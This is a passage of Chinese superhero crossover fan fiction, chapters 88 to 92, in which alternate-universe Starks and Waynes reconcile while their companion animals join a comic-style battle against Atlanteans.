结果一进门就看到斯塔克对着门口发呆，霍华德莫名其妙，回头看了一眼门。 很正常的门，没有任何问题。 “怎么了？”他问。 “哦，嗯……”斯塔克瞬间回过神来，尴尬的咳嗽着，“没事，就是放空大脑，你懂得，为了方便灵感进来。” 霍华德不懂，不过那不重要。 霍华德提起两人的来意，他们的其他工作都已经完成，现在没有事情可以做，与其虚度光阴，不如来帮斯塔克搓他的钢铁机甲，顺便围观一下平行宇宙的科技。 这无疑会对他们的宇宙科技发展造成动荡。 可斯塔克觉得，以他自己的实力，只要有需求，再过几年也会研究出这玩意的制作工艺，现在不过提前了一点点而已，问题不大。 “你们，谈好了？” 忙碌的时候，斯塔克悄悄问托尼。 “嗯……” “怎么样？” “就……还行吧。” 他们像两个青少年在背着父母商量一些不得了的大事，斯塔克是那个兴致勃勃的主导者，而托尼更像是被无辜牵扯，卷进游戏里，不知道如何才能脱离。 不过这游戏确实挺好玩的。 “我跟他说，之前语气太冲了，对不起，”托尼小声的对斯塔克说，“他眼睛瞪得超级大，一副我被人洗脑、已经不是我自己的样子，就差叫医务兵过来逮我去检查了。” “噗……” 斯塔克没忍住，当场笑出声来。 太怪了，比美国队长喊“hail hydra”的感觉还要诡异。 毕竟喊“hail hydra”的队长有可能存在，而诚心道歉的钢铁侠…… 斯塔克神情微妙，砸砸嘴。 那种事情肯定有过，但绝对比他应该做的次数要少的多，大部分时候斯塔克都会选择迂回的方法来表达自己的歉意，比如事后不经意的送礼，或者提供其他援助之类之类。 嗯…… 算了那不重要。 斯塔克父子被名为实验室的陷阱抓住，沉迷速搓钢铁机甲的工作，只靠着玛利亚一个一个逮起来强制投喂才能维持生命。 这样过了几天，海底还是没有动静，卡尔依然在跟托马斯学习更多的知识，格斗的技巧，以及其他更多有用的东西，他的超级大脑在这事情上帮了大忙，哪怕非常复杂的元素反应，卡尔也只需要看过一遍，就能迅速融会贯通。 至于在他自己的大脑中，到底失败过千百遍，那就只有卡尔自己知道了。 其他人就是日常的训练和生活。 巴基的治疗接近尾声，他的超能力几乎完全消失，失去氪星细胞支持的身体正处在一个最虚弱的时期，肌肉量迅速下降，浑身变得消瘦异常，补充营养尽快回复的同时，史蒂夫也亲自出马，陪着巴基做各种复健锻炼，帮巴基一点点找回曾经那些人类时期的，原本属于巴基的力量。 这样有些平淡的生活中，布鲁斯终于开着蝙蝠车，载着玛莎来到这处前线基地。 “来的真晚。” 精神链接接通的瞬间，布莱克的吐槽出现在布鲁斯的脑子里。 布鲁斯没理布莱克，这让玛莎非常不满意，现在的玛莎有点无脑护布莱克，根本见不得有人对大猫猫爱答不理，小丑牌立刻就往布鲁斯脸上戳去，布鲁斯偏头躲开，小丑牌就抵在蝙蝠面罩上，摩擦发出嘎吱嘎吱的刺耳动静。 布鲁斯没有办法，勉强哼了一声算是回应。 布莱克还略有些嘚瑟，也可能是看热闹的心态，这只大猫猫最近受到来自玛莎全心全意的宠爱，有些无法无天，性格上也活泼了好多。 “看，人家孩子挺像只猫的，之前那么压抑就是被你养坏了。” 肩膀上顶着锈斑猫的斯塔克正在幸灾乐祸。 布鲁斯狠狠瞪了这货一眼，隔着护目镜也看不清楚，斯塔克直接当做没注意到自己被瞪了，继续笑得十分快乐。 托尼跟在斯塔克后边，他们俩看起来像一对兄弟。 “看来你在这里过得不错。”布鲁斯阴恻恻的吐槽斯塔克。 斯塔克不由自主的抬手捏了捏自己的脸。 依然是沉迷实验室，听起来和过去没什么区别，但因为玛利亚勤劳的投喂，斯塔克居然没有消瘦，反而显得圆润了少许，只是睡眠不足带出一点黑眼圈而已，比他自己在斯塔克大厦里面作死的时候强上许多。 而且他们现在是三班轮流倒，托尼和斯塔克的想法完全一致，两人轮班可以无缝衔接，不会有任何问题，霍华德更是天才中的天才，他愿意配合的时候，实验进度可以被他拉快数倍，整个手搓机甲的过程可以说是轻松愉快。 他们还偶尔休息，在吃饭的时候一起聊人生、探讨科学、齐心撸猫…… 托尼跟霍华德之间的僵硬状态终于开始有所缓解，斯塔克看着他们开始正常沟通，会关心对方的身体健康，也会闲聊，他们越来越像一对正常的父子，斯塔克的内心也随之泛起某种终于松懈下来的感觉。 精神放松后睡眠也变得更加容易。 哪怕总量上来说斯塔克的睡眠时间真的很少，可每次都又沉又安稳，没有噩梦，没有冷汗和寒颤，睡醒后自然是精神百倍。 在这里，在霍华德的看护和玛利亚的照顾下，斯塔克的日子是真的过得不错，是在梦中都不会出现的那种“完美”。 相比之下，玛莎将布莱克认作布鲁斯，布莱克不知道是想要稳住玛莎的情绪，还是故意折腾布鲁斯，也没有急着说明白，这就显得布鲁斯有点惨了。 斯塔克想安慰布鲁斯，结果一开口就没忍住，笑出好大的动静。 布鲁斯：…… 第89章 托马斯、玛莎、布莱克和布鲁斯在同一间房间里落座,托马斯和布鲁斯面对面各自占据一张单人沙发，玛莎独自占领一张长沙发，布莱克坐在玛莎脚边的地毯上,一副事不关己的样子,正懒洋洋的打着哈欠。 当初斯塔克面对的场景, 终于也落到了他的身上。 更糟糕的是,玛莎将布莱克认成布鲁斯的附体或者转世之类的情况,布莱克还在那里看戏,就让布鲁斯的处境更加微妙起来。 两只蝙蝠侠面对面坐着。 大概是这画面过度诡异以至于变得有些好笑了, 玛莎完全忍不住，直接笑出声来, 打破屋子里的死寂。 “亲爱的,你们在玩什么谁先眨眼的游戏吗？”玛莎问。 布鲁斯和托马斯都没有回答,他们只是盯着对方，只是双方的情况略有不同，托马斯是主动盯着布鲁斯看,而布鲁斯更像是本能的盯回去，大概是为了在气势方面不至于落于下风？ 这就让玛莎笑得更开心了。 “拜托？互相介绍一下？现在还玩秘密身份多无聊嘛。” 扑克牌被翻得啪啪作响，托马斯依然盯着布鲁斯。 “布鲁斯。”他直接叫破对方的身份。 奇怪的是，玛莎的动作并未因此产生停顿。 布鲁斯愣了一下，随后立刻想明白了。 他们将自己视为平行宇宙的布鲁斯，布莱克则是他们的布鲁斯，这双方之间并没有绝对的矛盾关系,完全是可能并存的状态。 真是……难办。 布鲁斯闭上眼睛。 “布鲁斯·韦恩。” 他决定还是先正式的做一个自我介绍。 “继续。”托马斯对他说。 这是让布鲁斯继续说下去的意思。 继续什么？ 换个人可能会十分疑惑，布鲁斯却知道, 这是让他说自己的事情，不是生活过得如何, 不是韦恩一切安好与否，甚至不是哥谭如今的发展…… 托马斯在意的是当初发生的事情。 既然布鲁斯的生命没有停在八岁那天，那么谁留在了那条小巷里？ 命运在亲缘方面，对韦恩也是无比的吝啬。 就算没有看过其他平行宇宙，通过那份可笑的直觉，托马斯也有所预感，知道他们家注定是难以齐全的。 布鲁斯也没有避讳什么。 虽然那对如今的布鲁斯来说，提起那时候的事情，依然引起精神深处的疼痛，但至少他已经精通于隐藏这份疼痛，就算是面对托马斯的审视，他也有把握能表现的毫无破绽。 布鲁斯讲起自己八岁时在那条电影院后方的小巷里发生的事情。 “看来你记得的不多。” 布鲁斯略微点头。 他连犯罪者的脸都想不起来了。 那种遗忘是大脑的保护机制，当初的布鲁斯试过很多办法，都无法突破那层限制，后来对方被抓，伏法，哥谭没有死刑，所以事情也就这样了。 在这个平行宇宙，事情略有些不同。 那个抢劫杀人犯死在了玛莎手上。 “真不敢想象，你居然同意用税金养着这么一个家伙，而且哥谭的税收，不少部分都是韦恩和名下衍生产业贡献的吧？” 玛莎咯咯的笑起来。 “是的，我遵守法律的安排。” “可你在半夜殴打他人，还不是正当防卫，这也犯法呀。” “我知道。” 简短的对话让玛莎无比开心，她对布莱克招招手，然后一把抱住布莱克的大猫脑袋，越发开始抽搐，布莱克昂头，耳朵都背过去了，忍着狂笑的魔音贯耳，眼睛横向布鲁斯的方向，给了这家伙一个白眼。 玛莎的情绪不差，她是真的很快乐。 “我就说，当初活下来的应该是我们的布鲁西。”玛莎笑着，上气不接下气，“他会比你，比我都好上太多，太多了。” 然后又是一连串咯咯咯的抽笑。 托马斯没有做出直接评价，他的沉默就能证明，对于玛莎的话，他是认同的。 非要说这间屋子里有谁是不赞同这事情的，大概也就是布鲁斯本人吧。 他不知道托马斯和玛莎的行为是否更好，毕竟托马斯和玛莎面对的世界更加残酷，没有超人，没有正义联盟，也没有其他同伴。 而他，就算在世界上还没有几个超级英雄的时候，他也有罗宾。 还有阿福。 托马斯告诉布鲁斯，阿福在布鲁斯死后就离开了韦恩，再也没有回来。 希望阿福能安享晚年吧。 布鲁斯略微点头，以一种平淡的听故事的姿态接收了这段信息。 他和托马斯都太冷静了些，对比的旁边的玛莎跟个疯子似的。 玛莎对此很不满意。 “你们干嘛不笑？” 一大一小两只蝙蝠侠。 这画面小丑看着怎么能不快乐？ 玛莎笑的越发抽风，很快自己都喘不上气了，布莱克就糊上去，将她拱到沙发里面，让玛莎抱着自己打滚，人和大猫一起滚到地毯上，布莱克调整自己下巴的角度，引着玛莎将脸埋在自己胸膛的绒毛里，通过限制吸入空气来缓解玛莎过度呼吸的不良状态。 “哇呜。”你们能不能不要刺激她？ 布莱克冲布鲁斯发出抗议。 这两个人类也是见了鬼，一个是玛莎的丈夫，一个是玛莎的孩子，结果一个两个都在那里装的一副正经过分的模样，放玛莎一个人在这里抽风。 他们中但凡有一个人愿意装出一点反应来转移玛莎的注意力，玛莎都不至于笑成这样。 布莱克的屏蔽覆盖了房间，没有精神链接的辅助托马斯听不懂布莱克在表达什么，布鲁斯倒是听得懂，但他选择无视掉布莱克的提议。 那想法一点都不好。 如果他们中有一个反应过激，那么玛莎更可能跟着做出更激烈的反应，而不是单纯的被引开注意力，停下狂笑就此了事。 玛莎现在是……小丑。 布鲁斯没提自己宇宙的小丑都做过什么具体的事情，只是含糊的说明了一下自己的宇宙中也有一个小丑，是个精神病人，很疯，高危，会没有具体目的伤害所有人。 平行宇宙的门能打开第一次就能打开无数次，何况“交汇”还是个自然现象，蝙蝠侠提供的信息不只有小丑一个，还有其他各种高危罪犯的详细名单，其中分为高智商犯罪者，超能力犯罪者，还有些普通但依然危险的人。 “看来你们的生活很热闹啊。” 玛莎缓过来少许，从毛绒绒中探出脑袋。 “……” 布鲁斯看向她，没有接话。 玛莎也没有指望这个平行宇宙的布鲁斯会回应自己，她自顾自的往下说：“也是，命运就是这样的吧，无聊了就会搞事情。”说着她又笑了起来。 布鲁斯接这个话题。 命运让人讨厌，但布鲁斯不是那种会将自己的经历怪罪给一种虚无存在的东西，毕竟那除了无力和挫败，也带不来更好的东西。 如果失败和不幸是命运的锅，那成功和惊喜也是命运的馈赠。 人，将一无所有。 …… ………… “你觉得他们谈的怎么样？” 斯塔克在跟托尼嘀嘀咕咕，现在是他们俩休息，霍华德在实验室忙，玛利亚下去给霍华德投食，斯塔克和托尼在小餐厅吃饭，顺便喂猫。 锈斑猫小口小口舔着猫饭，薮猫在它旁边，以更文雅的姿态慢慢吃着。 听到斯塔克的话，薮猫抬头看向他，舔着嘴对他轻声叫唤。 “喵。”不用担心，你的朋友能解决他的问题，我相信他能做的和你一样好。 斯塔克：“……我做的，不错？” 薮猫点了点头。 斯塔克咳嗽一声，迅速偏开脑袋。 坐在他对面专心吃饭的托尼抬起头，看了看薮猫，又看了看斯塔克，不满的抗议：“这是我家的猫。” “哦当然，不要表现的好像有什么表亲来你家里抢你的玩具似的。” 斯塔克就哼哼，十分应付。 托尼几乎压不住自己抽搐的嘴角。 道理上他很清楚这个年长的自己经历过很多糟糕的事情，也很感谢对方在相遇之后愿意帮助自己和父亲沟通，缓解家庭之间顽固的矛盾。 可这依然无法抵消斯塔克这张嘴…… 托尼就…… 见鬼……！ 自己以后会变成这么欠揍的东西吗？ ？ ？ 不会吧？ 一定不会的吧？ ？ ？ 对此，托尼难以接受。 看他们在那里胡闹，薮猫摇了摇头，低头继续吃饭。 锈斑猫已经基本吃完自己盘子里的那份了，薮猫轻声唤它，看它要不要来自己的食盘里看看，有没有更喜欢吃的东西。 伴生动物比普通动物更加强壮，挑食一些也不用担心吃坏身体。 锈斑猫黏糊糊的喵呜出声，凑上去跟薮猫蹭蹭，表示自己吃饱了吃不下了，然后跳上人类的餐桌，来到斯塔克身边，坐下开始放松的舔爪子洗脸。 这就是对这次的食物很满意，有吃爽到的表现。 “拜托？今天的猫饭是我做的哎。” 托尼在抗议。 锈斑猫立刻蹦跶到托尼那边，跟他贴贴。 斯塔克嘴角抽搐。 “亲爱的？我才是爸爸。” 酸酸的口吻一听就知道斯塔克这是吃醋了，锈斑猫还在舔嘴，回味着刚才的美味，和托尼蹭蹭脸后又蹦跶去斯塔克那边，和爸爸贴贴。 然后就听到自己身后又传来托尼同样酸酸的声音： “亲爱的~” 锈斑猫：…… 啊这…… 可、可是，猫猫就只有一只啊？ ！ 不知如何是好得小猫因为分身乏术而陷入宕机状态。 第90章 韦恩一家的谈话是否顺利, 无人得知。 他们谈话前和谈话后没有任何区别，发癫的还在发癫，一身肃杀的依然沉默寡言,就连跟在玛莎脚边,时不时被搂起来亲一口的那个,也依然是布莱克。 嗯…… 虽然如果换成布鲁斯的话, 画面会有些诡异啦。 “就这样吧。”看着玛莎和布莱克走掉的背影,托马斯告诉布鲁斯：“我知道那只美洲豹不是这个平行宇宙的你,不过这样很好,她需要的也不是真相。” 不要为难那个已经坏掉的小丑女士了。 现在这样也很好。 布鲁斯：“所以，你一开始就知道。” “它对我们虽然亲近,却不是对待家人的态度。” 作为亲密的一家三口来说,布莱克的态度实在是过于不冷不热,尤其是它在托马斯面前根本没做伪装，几乎是直白的将真相摊开放在托马斯眼下给他看。 布莱克从未想过欺骗韦恩夫妇，玛莎那边也是玛莎先将它认错,布莱克发现这个误会能缓和玛莎的情绪，这才配合着演戏，让事情这么将错就错下去。 布莱克的想法和托马斯不谋而合： 就玛莎现在的精神状态，非逼着她做个清醒的人，那实在是……毫无意义。 “我在蝙蝠洞拿了一些东西。” 布鲁斯告诉托马斯，又问了哪里有工作间，他要改造那些东西, 现在的成品太粗糙，一点都不好用。 托马斯：…… 在斯塔克大声“WTF”的抱怨下, 两人一起去占领了一间斯塔克的工作间。 这里有斯塔克他们留下的模型，加上布鲁斯用脑子带过来的一套叫做地狱机甲的特殊机甲的数据, 足以做出支持他们下水的高强度装备。 而在这期间内，亚特兰蒂斯和亚马逊人的战争也正式打响。 卡尔在第一时间加入这场混乱的冲杀，比亚马逊人的战线更加靠前，孤军深入的进入海面之下，手上动作毫不犹豫，一个接着一个撕碎那些海底来的“访客”。 小红和极乐鸟升空盘旋，它们分头行动，为大家提供海岸线各处的战况汇报。 此时巴基的治疗已经结束，只剩下康复训练，鸮鹦鹉没有运动需求，闪电鼠玩个结实的滚轮就足够了，而白葵的需求更特殊一些：它，需要，出门，遛弯。 没办法出门的白葵是实在无聊，趁着基地因为开战而忙碌混乱，它居然偷偷溜去战场。 作为一只攀禽，它没有飞上高空，而是找了个高高的树蹲着，围观。 这时候天上飞的可不止有超人和两只小鸟，还有许多架战斗机，白葵探头看了一会，也不知道它是怎么看清楚的，突然就嘎嘎大叫着飞了起来。 “是哈尔！嘎嘎——！！！” 这个世界没有闪电侠。 大家已经跟电子人确认过这件事情了。 结果居然有哈尔·乔丹？ 精神链接中的其他小动物都十分意外，布鲁斯正在弄芯片，听到白葵在脑子里乱叫，顿时觉得大事不妙。 “回来，你会让他分心！” 布鲁斯在脑子里对白葵呵斥。 白葵的孵化者就不怎么听蝙蝠侠的警告，白葵在这方面自然是向孵化者靠拢，对于蝙蝠侠的命令那是完全不带听的。 “蠢鸟！” 布鲁斯忍不住骂了声，而白葵已经飞到哈尔的战斗机旁边，以鹦鹉的飞行速度想要追上战斗机实在是很有难度，也就是白葵作为伴生动物的强度惊人，自身又是为了陪伴一名绿灯侠而诞生的特殊存在，这才有可能做到这点。 而这个宇宙的哈尔，他根本不知道伴生动物存在。 面对突然刷新在自己防风罩外面的白鹦鹉，哈尔理所应当的被吓了一跳。 “WTF？！” 首席飞行员小朋友骂的特别难听。 哈尔·乔丹被吓得不轻，心脏怦怦直跳，这真的很正常，任何人类都无法理解为什么会有一只嘴巴弯弯的大鹦鹉与一架战斗机并肩飞行。 这太TM见鬼了好嘛！ 混乱之中哈尔的飞机差点偏航，他迅速将轨迹纠正，再去看罩子外面，却没能找到刚才那只白鹦鹉的身影。 被偏移的机翼撞下去了？ 不太可能，哈尔确定飞机没有撞到任何东西。 总不能是自己的幻觉吧？ 现在的速度还没有到能让哈尔感觉吃力的地步，没道理产生幻觉。 见鬼！ 好在意！ 哈尔甩了甩脑袋，让自己专心在任务上。 他追着红色烟雾来到亚马逊人标定的海滩处，这里已经能看到一些戴着头罩的海底人在登陆，哈尔果断按下投放按钮，对该区域进行空袭轰炸。 “见鬼，那东西好像扣在脑袋上的便携鱼缸。” 不知名的能量冲上天空，哈尔熟练的操纵飞机翻转躲避，以他的角度，完全看不到自己的机腹下贴着的，那只白乎乎的凤头葵花鹦鹉。 “嘎达哒哒哒……” 也不知道是不是耳朵出了毛病，哈尔总觉得，自己能听到怪异的敲击声，还有某种类似于尖锐东西在金属上刮擦而产生的奇怪动静。 总不能是那只鹦鹉扒在他的飞机上了吧？ 鹦鹉的爪子可能扒在飞机上吗？ 不对！ 那TM可是一只飞行速度能跟上飞机的鹦鹉！ 这个平行宇宙的哈尔·乔丹还不知道伴生动物的存在，也不知道己方还有这样的帮手，他只能将这东西视作某种敌袭，最好的情况也是未知生物误入他们的战场。 不管是哪一种，他都必须尽快确认是不是那东西在搞破坏，以及，不能轻易将那东西带回军事基地。 哈尔左右找了一圈，视线所及的位置看不到任何问题。 现在他能选择的最佳方法就是呼叫下方的人，在哈尔做出俯冲贴近地面后，让地面人员帮忙看看机腹是否出了问题。 但下面在打仗，谁也没空抬头看这一眼，而且地对空的能量轰击依然密集，贴近地面本身也过于冒险了。 哈尔只能试着呼叫其他还没被击落的飞行员。 约一个出来一起飞到云层上面，哈尔飞到对方上面去，让那人抬头帮自己看看机身上是否存在异常。 新的问题却是大家早就四散飞开，队形只在投弹任务中保持有效，勉强完成投弹后他们就被地面的能量冲击打散，现在应该是各飞各的，按照章程来说，所有的飞行员都已经进入返航步骤，正在尽可能的远离战场，寻找安全路线返回基地，如今还滞留在战场上空的，很可能只剩他孤身一人。 陷入困境的哈尔有些心不在焉，差点被地面冲上来的能量击中，靠着他几乎本能的操作才勉强转危为安。 “哈尔·乔丹。” 这时候哈尔的收音设备传来有些陌生的声音。 “呃、让我猜，这个喉癌嗓，蝙蝠侠？哇哦，需要帮忙？” 因为白葵那只二货开了能量膜，那层膜与灯戒的能量非常接近，也可以屏蔽精神能力，以至于他们之间的思维链接极度不稳定，布鲁斯呵斥了两声也没听到白葵叽叽喳喳的回应，只能侵入官方的通讯线路，直接连上哈尔·乔丹。 此时面对哈尔莫名兴奋的语气，布鲁斯只能默默忍住嘴角抽搐的冲动，维持低哑充满威胁的嗓音，继续说：“……那不重要。现在，贴在你机腹上的东西是我们的增员，但它似乎太喜欢你了，不愿意返航，你把它一起带回来。” “等等，它在机腹上？那我怎么降落？” “不用担心它，它能跟上战斗机的速度，还能扒拉飞机的铁皮玩，根本不可能会怕飞机降落时产生的那点儿压力。” 蝙蝠侠这话说的倒是很有道理。 哈尔终于放下心来，操纵战斗机开始返航。 而快乐的扒在机腹下面和哈尔玩捉迷藏的白葵，现在还不知道，它即将被送往蝙蝠侠的手中，因为玩的太开心了，这家伙连飞机已经返航都没有发现，只在飞机降落的时候本能的打开自己的能量膜，不仅裹住了自己，还裹住了哈尔的飞机。 “嘎，又没电了吗？大笨蛋！” 白葵欢乐的嘎嘎叫着。 “什么没电？”这个宇宙的哈尔没听懂，“我还需要充电吗？”他本能的皮了一下。 “没事。”布鲁斯示意他可以离开了。 布鲁斯自己则径直走向白葵，在这家伙顿觉大事不妙，振翅起飞的瞬间，猛地扣住这鸟的脖子，另一手飞速打配合，拎鸡似的掐住白葵的那对大白翅膀根部，紧接着，原本掐脖子的手转而捏住鸟喙。 如此就能有效避免被咬，还能将它牢牢控制在自己手中。 整套操作下来，布鲁斯的双手舞出残影。 哈尔愣愣地看着这只看起来并没有比自己年长太多的蝙蝠侠，他还不知道有自己人的队伍里多了只来自平行宇宙的蝙蝠侠呢，自然是将布鲁斯认成了托马斯，只是这套装备，怎么和之前看的资料完全不一样？ 脸上的细节也对不上。 别的不说，就胡渣的问题也没法解释。 总不能是蝙蝠侠为了上战场专门去刮胡子吧？ 唔，难说，难道……真的有可能？ ！ 哈尔瞬间觉得自己真相了。【你现在阅读的是魔蝎小说 moxiexs】 90-98 第91章 战场上。 美国队长在最前线,在他身后某个位置，一发接一发的子弹从巴恩斯的隐蔽点射出，精准带走那些试图偷袭他的敌人。 斯塔克一家自然是负责后勤工作,科学家的身份让他们无论如何也不能轻易冒险,哪怕托尼做出了基础款的战甲,也不能改变什么。 托马斯行踪未知, 小丑玛莎也是一样, 没人知道这两人去了哪里。 连布莱克也再次不见踪影,而且上次情况相同,在布莱克屏蔽的保护下，馍馍和薇薇只能抱在一起同时摇头。 卡尔倒是懂事很多,离开前来打了招呼,绕后去解决那只深海巨怪了,只是不知道为什么下水后就没了下文，从精神链接传递回的感知状态来判断，卡尔肯定还活着,非常健康，而且应该是还没有进入战斗状态的。 可能还没正式接触到那只怪物？ 其他人自然也是各自在合适的位置施展自己的能力。 ——平行宇宙来的斯塔克和布鲁斯除外。 “为什么我们不能去？” 斯塔克很不满意，他正摆弄着自己的三件套，凭着它们正面进入战场可能会有风险，可若是去做奇袭任务，也许能出奇制胜。 “我们的干涉已经够多了。” 布鲁斯就这么一句话，就能堵得斯塔克哑口无言。 所以他们两个的工作就是带着小动物在安全的地方呆着。 除去失踪的布莱克,飞上天空侦查的极乐鸟和小红，现在聚集在他们身边的小动物几乎就是全部,塔塔、锈斑猫聚在一起睡觉，旁边还趴着属于这个宇宙的薮猫,多纳滋坐在窗户那边看着外面，帕夫站在它的头顶。 大红在角落里睡觉，馍馍和薇薇抱成团在毛绒质感的拱形大狗窝里睡觉，鸮鹦鹉找了个猫窝趴着也在睡觉。 白葵被逮回来之后就在和闪电鼠一起玩，具体的就是闪电鼠在仓鼠球里面，然后白葵追着球在玩。 还有就是奇迹和星期五这两只。 “你说，这些事情的主导，到底是奇异博士，还是奇迹？” 无聊之中，斯塔克想起了之前他们聊过的事情，有能力帮助X教授掌握平行交汇的，必然是本身就具有操控时间和空间能力的人。 虽然当时还有许多选择，可两人几乎是不约而同的选定了奇异博士作为目标，只是具体到奇异博士还是奇迹身上，两人又无法获得确切的证据，要布鲁斯来说，奇迹其实更可疑，可它必须说服X教授动心，还要找到隐藏起来的薇薇和馍馍，这些仅凭借奇迹本身也是很难全部做到的。 而现在，布鲁斯已经可以肯定这个问题的答案了。 “应该是奇迹说服了奇异博士吧。”布鲁斯猜。 对于平行宇宙，奇异博士的态度比他们更加谨慎，他们是尽量只观察而不干涉，而奇异博士非必要的时候甚至不会主动观察，这样的前提条件下，奇异博士几乎没有主动干涉平行交汇的理由，反而是作为一只小动物的奇迹，可能会因为情绪共鸣或者一些冲动的直觉而做出行动。 “说起来，那个据说用来沉没大陆的脉冲器怎么还没发动？”斯塔克又想起另一件事情，“好像说控制住了，但怎么弄的？” “你忘了？还有一个交汇过来的人。” “？”斯塔克愣了愣，他还真忘了，“X教授？” “嗯。” 巨型海怪的思维与人类存有隔阂， X教授不一定能入侵其中，而脑住所有海底人这种要求也太强人所难，海王那些主要人员有女巫保护，在没有脑波增幅装置的情况下，与其冒着过载的风险去挑战这些事情，还不如先封印住最大的威胁。 X教授选择在开战的瞬间立刻出手，脑住那些负责大陆冲击装置的海底人。 这时候女巫一定跟在海王身边，如果没有，女巫去保护冲击装置，那X教授反手脑住海王，一样能解决关键问题。 不过这样一来他不一定能立刻停止冲击装置，死的人可能会更多，特别是平民。 “好在女巫更在意海王的安危，冲击装置对他们来说是个添头，为的是沉掉陆地，增加他们的生活区域，胜利之后再沉也是一样的。” “他这不也算是……” 一次超级大的干预？这个平行宇宙本来并不存在可以做到这一点的人……也不是，这里是有X教授的，不过年纪还小呢，做不到超远程操作。 而现在守卫在老X教授身边的，应该是这个平行宇宙的艾瑞克，那个还没成为万磁王的年轻人。 感觉就……那画面很诡异，像爷爷带孙子，还是叛逆期的好大孙。 斯塔克想象了一下，觉得头疼，甩了甩脑袋将诡异的画面甩出天外。 看他这样，布鲁斯提醒他要专注在任务上，“好了，我们过来的根本原因是为了把它们带回去，X教授有自己的办法来回，不在这次行动的责任范围内。” “那就不管他了？” “嗯。” 也……行吧。 布鲁斯开始摆弄他的护腕，斯塔克则看着外面，现在是白天，外面天气晴朗，海底人倒是选了个好日子来进攻。 阳光明媚，温度宜人，在这一片明亮中，反而看不清远处的火光连天。 “目前不在的都是你们家的崽子，”斯塔克收回视线，看向布鲁斯，“我来弄仪器，你去把它们逮回来。” “时间还早。” “可你甚至不知道布莱克在哪。” “……” 说起这个，布鲁斯一阵运气，刚开始布莱克还算听话，只是屏蔽馍馍和薇薇，这次出门却连他留下的监控也给弄掉了。 这让布鲁斯有点火大，却又无可奈何。 没办法，这件事情上是布鲁斯自己理亏。 离家出走一直都是韦恩家族的传统，孩子也只是符合传统而已，布鲁斯自己上梁不正，养子也好，动物也好，作为下梁歪一点不是理所应当的嘛。 不管布鲁斯原来要干什么，他都必须把“寻回布莱克”的任务先完成了。 关于布莱克的线索，倒也不是完全没有，或者说，其实布鲁斯很清楚布莱克的下落。 它肯定跟玛莎在一起。 可一想到小丑妆面穿着银色燕尾服的玛莎，布鲁斯就有些难以自控。 他捏着拳头，忍着脑内翻涌的愤怒。 那愤怒因为没有发泄对象而逐渐被埋入心脏深处，斯塔克就在不远处看着他，一次深沉而轻柔的吐息后布鲁斯就恢复常态，可斯塔克却觉得，这家伙变得越发难以捉摸。 “布鲁斯。”斯塔克小声叫他。 布鲁斯轻轻“嗯”了声，表示自己明白。 和命运斗气是没有意义的。 接下来就是分工。 布鲁斯去逮布莱克，斯塔克留在这里，看守其他小动物的同时负责平行宇宙的对接工作，主要就是不断观测两个平行宇宙之间的能量变化，一旦出现交汇的先兆，就要立刻准备校准，先把这些伴生动物送回家再说其他。 斯塔克则去给小动物们准备午饭。 塔塔抬起脑袋，看着两名人类离开的背影，它面露疑惑。 这就要走了？ 可它们好像……什么都还没做？ “喵呜~”我们做了很多哦。 正在薮猫怀里被翻来覆去舔毛的锈斑猫探出脑袋，喵呜着对塔塔说道。 它一件一件数给塔塔听：救了这个宇宙的超人和巴基，帮美国队长更早完成解冻。 布莱克的存在更是帮助了玛莎，而玛莎的稳定也进一步影响到这个宇宙的蝙蝠侠托马斯·韦恩的决定。 蝴蝶效应下来，锈斑猫相信它们帮助了更多的人。 而且，还有一件很重要的事情。 在这里，斯塔克见到了他的父母，虽然是其他平行宇宙的，但对于斯塔克来说，能改变另一个平行宇宙的自己与父母的关系，这本身也能算是一种安慰了。 斯塔克从来不需要改变自己的过去。 他一直往前走。 不管过去如何沉重、痛苦坎坷，他都会继续往前走。 只是，若有机会的话，他也会轻轻抚摸过去留下的那道伤痕。 希望另一个平行的自己不必经历这个。 在各式各样的平行宇宙中，已知布鲁斯·韦恩就算没有成为蝙蝠侠，也依然从未放弃拯救哥谭的道路。 而托尼·斯塔克……就算因为经历偏差，没有成为钢铁侠，他也会成为一个杰出的人。 锈斑猫这样相信着。 更何况还有薮猫在呢！ 锈斑猫歪着脑袋，拱在薮猫胸口蹭了蹭，薮猫则低头在它的头顶舔了两下，将锈斑猫舔得完全趴伏下去，然后用前爪扒拉，在锈斑猫的配合下很容易的将小猫整个翻过来，继续自己的舔毛大业。 最初锈斑猫对于来自薮猫的舔毛行为，其实并没有那么的乐意，只是偶尔给舔舔脑袋，舔舔后背，毕竟它可是只成年猫哎，怎么还能窝在麻麻的怀里翻着肚皮给舔毛呢？ 可后来，也许是受到斯塔克情绪变化的影响，也许是被薮猫舔麻了，锈斑猫逐渐接受这每天都要被薮猫舔毛的生活。 甚至还是有点儿喜欢的。 塔塔趴在旁边看着锈斑猫跟只猫咪崽子似的“咪呀”、“咪呀”的撒娇。 塔塔感到些许困扰。 如果锈斑猫离不开薮猫了，它们该怎么办？ 第92章 斯塔克带回食物的时候, 战斗终于波及到了这处基地。 外面是嘈杂的声响，队伍被调动，有人在喊叫, 小红的声音在斯塔克脑子里单独响起：“有一批亚特兰蒂斯人往你那边发动了奇袭, 请注意安全。” 这和精神链接的声音不太一样, 是小红的通讯能力。 “收到。”斯塔克笑着回应。 然后他召唤来自己新做的装备。 “OK~马克Mini该上线了。” 几只小巧的马克人偶拉着迷你版火星飞出去,本来乖巧被舔毛的锈斑猫绷不住了,兴奋的喵呜一声,追着它们也往外面跑。 塔塔也有些呆不住,先是在斯塔克脚边嘤嘤撒娇，然后也跟着跑了出去。 塔塔冲锋啦——）） 亚特兰蒂斯人这辈子都没有想过,鱼一般的他们,有一天会被只圆成球的水獭撞飞,撞飞还不算，这只水獭还会在冲击轨迹的末端停下来，回头,一脸疑惑的看着他们。 “嘤嘤？”他们怎么闻起来那么好吃？ 塔塔很疑惑。 锈斑猫：“喵呜。”大概因为他们是鱼吧。 说着猫猫舔了舔嘴。 它也觉得这些家伙很新鲜，闻起来味道很不错呢。 也许它们能在这里一起打包个零食什么的？ 薮猫也跟了出来，它对海鲜的想法一般般，但加餐也没什么不好的，大红是最后一个跑出来的，仔细观察周围后选了一个幸运儿，一口咬住对方的手臂,一只捷克狼犬的重量挂在上面，足够让这些在没有浮力的地面上本就行动受阻的亚特兰蒂斯人喝一壶的,更何况大红还撕碎了他们的护具，随着里面的水分快速流逝,他们就像是在极限环境下遭遇防护服损坏的人类一样，发出恐慌的喊叫声。 其他小动物瞬间反应过来。 撕他们的防护服！ 只有锈斑猫和薮猫先后停下了爪子。 这玩意里面…… 都是水。 猫猫脸平。 